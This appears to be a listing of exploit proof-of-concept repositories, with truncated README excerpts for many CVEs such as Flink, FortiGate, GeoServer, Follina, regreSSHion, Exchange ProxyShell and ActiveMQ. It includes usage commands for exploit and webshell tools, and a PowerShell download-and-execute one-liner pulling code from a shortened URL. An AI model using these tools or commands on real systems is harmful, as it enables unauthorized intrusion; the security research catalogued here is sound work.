Flink-CVE-2020-17518-getshell

Flink-CVE-2020-17518-getshell 利用Apache Flink CVE-2020-17518 getshell 见：https://blog.rakjong.com/2021/01/10/flink-cve-2020-17518-getshell/...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 通过插件上传实现的认证 RCE（CVE-2025-50286） Grav CMS v1.7.48 配合 Admin Plugin v1.10.48 存在通过“Direct Install”插件上传功能触发的远程代码执行（RCE）漏洞，允许已认证的管理员在服务器上执行任意 PHP 代码。 CVE 编号 CVE-2025-50286 概述 类型： 认证远程代码执行（RCE） 位置： /admin/tools/direct-install（管理面板 工具 直接安装） 影响： 任意 PHP...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 es explotable por este código. nota: el código fue escrito de una manera muy tonta. Prueba de Concepto $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in...

CVE-2024-36401_Geoserver_RCE_POC

⚠️ 免责声明： 此工具仅供安全研究与合法授权测试使用，请勿用于非法用途。使用者需自行承担法律责任。 README Version: English | 中文 漏洞描述 本脚本是针对 GeoServer 的远程代码执行漏洞（CVE-2024-36401）开发的 PoC（Proof of Concept）探测工具。该漏洞允许攻击者通过构造特定请求，在目标服务器上执行任意命令。 环境依赖 请确保你的运行环境已安装以下依赖项： Python 3.x 第三方库： requests lxml 可通过以下命令安装所需依赖： pip install requests lxml 使用说明 单个目标检测...

CVE-2022-30190

CVE-2022-30190 - Microsoft 支持诊断工具 关于 该脚本将尝试创建一个 Microsoft Office 文档，用于远程执行代码。 设置 git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help 选项 usage: CVE-2022-30190.py -h --html HTML --cmd CMD --downexec --downloadurl DOWNLOADURL 生成...

CVE-2023-21716

CVE-2023-21716 Corrupción del montón en la tabla de fuentes RTF de Microsoft Word Una vulnerabilidad dentro de wwlib de Microsoft Office permite a los atacantes lograr la ejecución remota de código con los privilegios de la víctima que abre un documento RTF malicioso. El atacante podría entregar...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 仅限 x64 Windows iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

vcenter_rce

vcenterrce 漏洞利用，Vmware vCenter 6.5-7.0 RCE（CVE-2021-21972），上传冰蝎3，getshell Usage： python3 vcenterrce -u url...

CVE-2024-6387

CVE-2024-6387 regreSSHion regreSSHion漏洞利用的概念验证Python脚本。版本0.2.1构建POC 安装 git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h 用法 🔒 CVE-2024-6387 regreSSHion 远程代码执行漏洞利用脚本 usage: regreSSHion.py -h -i IP -p PORT -t -c -d -r -x...

CVE-2025-55182

React2Shell PoC 此仓库提供了一个最小化的、故意存在漏洞的环境，用于测试安全扫描器对影响 React Server Components 和 Next.js 的最新严重 RCE 漏洞（React2Shell）的检测能力。 CVE-2025-55182 ：在 React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0 中存在一个预认证远程代码执行漏洞，涉及以下包：react-server-dom-parcel、react-server-dom-turbopack 和...

CVE-2018-16341

CVE-2018-16341 Bypass de autenticación de Nuxeo y ejecución remota de código 10.3 mediante un SSTI - CVE-2018-16341 Análisis detallado no en inglés : https://www.freebuf.com/vuls/193000.html https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ Aviso de seguridad :...

CVE-2021-40531

CVE-2021-40531 此概念验证的实际运行效果。 Sketch 是一款面向 macOS 的流行 UI/UX 设计应用。本文介绍的是我在 7 月份发现的 Sketch 中的一个漏洞，即 CVE-2021-40531。简单来说，它属于 macOS 隔离（quarantine）绕过漏洞，但在特定情境下可被利用来实现远程代码执行。 更多详情请参阅我的博客文章，其中有完整的分析。 注意事项 如果你要在本地测试此概念验证，请注意 feed.rss 要求你的 Web 服务器运行在 8080 端口。...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] 单个获取 python sendwebshellmail.py https://mail16.echod.com crack 批量从mail.txt 读取邮件，进行尝试获取SID token python sendwebshellmail.py https://mail16.echod.com [email protected] send 只发送webshell 草稿邮件 python sendwebshellmail.py...

CVE-2020-9380

PoC IPTV Smarters 漏洞利用 使用方法 python gld.py -u http://www.pirate-ilegal-tv.com/ -i 漏洞 文件 includes/ajax-control.php： ?php / @ PHP 5.6 @ Decoder version : 1.0.0.1 @ Release on : 24.03.2018 @ Website : http://EasyToYou.eu / sessionstart; if fileexists"functions.php" includeonce "functions.php"; if...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Windows 图形组件 RCE x64 通过恶意 JPEG 触发的严重远程代码执行 – Windows 11 24H2（未修补） CVSS 9.8 – 无需任何权限，也无需用户交互 CVE-2025-50165 - windowscodecs.dll untrusted pointer dereference Discovered by Zscaler ThreatLabz Patched: November 2025 KB5040442 功能 完整的 x64 无空字节 shellcode（calc.exe 启动器 – 169 字节） APP1/EXIF...

CVE-2020-0688

识别易受CVE-2020-0688攻击的Exchange服务器 CVE-2020-0688 是 Microsoft Exchange 中的一个关键漏洞，源于使用了静态密钥。虽然利用此漏洞需要有效的凭据（至少是电子邮件用户级别），且大规模利用的风险较低，但在定向攻击中此漏洞可能非常有用，因为它可导致 SYSTEM 级别的远程代码执行。 更多信息： https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688...

CVE-2026-34197

CVE-2026-34197 CVE-2026-34197 activemq PoC 根据 Horizon3 文章编写的 ActiveMQ PoC https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ krasn@icestorm cve-2026-34197-activemq % docker compose up -d krasn@icestorm cve-2026-34197-activemq % python3 exploitpoc.py auto \ --targ...

CVE-2020-14295

CVE-2020-14295 CVE-2020-14295 概念验证。原始帖子位于 exploit-db。 安装依赖 python3 -m pip install -r requirements.txt 用法 $ python3 cactisqlirce.py --help usage: cactisqlirce.py -h -t -u -p --lhost --lport Cacti 1.2.12 - SQL Injection / Remote Code Execution optional arguments: -h, --help show this help message a...

CVE-2025-49132

CVE-2025-49132 Pterodactyl 是一个免费、开源的游戏服务器管理面板。在 1.11.11 版本之前，通过使用 /locales/locale.json 并携带 locale 和 namespace 查询参数，恶意行为者可以在未经身份验证的情况下执行任意代码。由于能够执行任意代码，攻击者可借此访问面板服务器、读取面板配置中的凭据、从数据库中提取敏感信息、访问面板所管理服务器的文件等。该问题已在 1.11.11 版本中修复。此漏洞没有软件层面的缓解措施，但使用外部 Web 应用防火墙（WAF）可能有助于减轻该攻击。 它是如何工作的 攻击者向...

CVE-2022-30190

CVE-2022-30190 Microsoft Office Word Rce 复现CVE-2022-30190 漏洞简介 MS Office docx 文件可能包含作为 HTML 文件的外部 OLE 对象引用。有一个 HTML 场景 ms-msdt: 调用 msdt 诊断工具，它能够执行任意代码（在参数中指定）。 结果是一个可怕的攻击向量，通过打开恶意 docx 文件（不使用宏）来获取 RCE。 开始复现 在 Twitter 上获得了@naosec 首次分享的样本，下载下来。 用压缩包打开 02-2022-0438.doc 打开/word/rels/document.xml.rels...